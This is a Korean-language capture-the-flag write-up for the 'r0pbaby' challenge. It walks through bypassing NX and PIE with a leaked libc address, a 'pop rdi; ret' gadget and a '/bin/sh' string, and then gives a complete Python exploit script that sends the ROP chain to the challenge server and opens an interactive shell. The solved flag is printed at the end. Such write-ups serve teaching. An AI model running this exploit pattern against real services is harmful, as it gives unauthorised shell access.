English: Link


다음과 같은 바이너리가 주어집니다.

r0pbaby_542ee6516410709a1421141501f03760

문제 이름에서도 알 수 있듯 rop에 관한 문제입니다. 보호기법을 확인해봅시다.

예상했듯이 NX는 걸려있고 PIE도 걸려있네요.

binary를 실행하면 무엇을 해야하는지 쉽게 알 수 있습니다.

2번으로 원하는 함수의 주소를 건네받고 3번을 통해 overflow를 일으킵니다.

gdb를 통해 오버플로우 과정을 확인해봅시다. PIE 바이너리를 디버깅하려면 set stop-on-solib-events 1를 해준 다음에 code영역 주소가 결정되면 BP를 걸어줍니다. memcpy로 overflow가 일어나므로 memcpy 직후에 BP를 겁시다.

rbp에 바로 copy가 되네요. 그러면 다음과 같이 payload를 짤 수 있습니다.

dummy [A*8]

"pop %rdi; retq"의 주소

"/bin/sh" 포인터

system함수


여기서 rdi에 /bin/sh의 주소를 넣는 이유는 x64에서는 인자가 스택으로 전달되지 않고 다음 레지스터의 순서대로 전달됩니다.

rdi, rsi, rdx, r10, r9, r8

그래서 system의 첫 번째 인자는 rdi에 넣어줍니다.


"pop rdi; retq;" 명령어는 libc에서 ROPgadget으로 찾아봅시다.

그리고 system과 "/bin/sh", "pop %rdi; retq"의 거리를 구합시다.

system-0x22b1a = 0x23b26 = 146214

"/bin/sh"의 주소는 libc에서는 find로 안 구해지네요...ㅠ gdb에서 구합시다.

0x7ffff798dcdb-0x7ffff7857640=1271451

최종 exploit 코드는 다음과 같습니다.

from socket import *
import struct

p = lambda x:struct.pack("<Q", x)

s = socket(2,1)
s.connect(('r0pbaby_542ee6516410709a1421141501f03760.quals.shallweplayaga.me',10436))

print s.recv(1024) # banner
print s.recv(1024) # menu

s.send('2\n')
print s.recv(1024) # which func?
s.send('system\n')
tmp = s.recv(1024)
print tmp
system_addr = eval(tmp.split(': ')[1])

payload = 'a'*8
payload += p(system_addr-146214) # pop rdi; retq;
payload += p(system_addr+1271451) # "/bin/sh"
payload += p(system_addr)
payload += '\n'

s.send('3\n'+`len(payload)`+'\n'+payload)

print s.recv(1024)
s.send('4\n')
print s.recv(1024)

import telnetlib
tc = telnetlib.Telnet()
tc.sock = s
tc.interact()



Flag: W3lcome TO THE BIG L3agu3s kiddo, wasn't your first?

+ Recent posts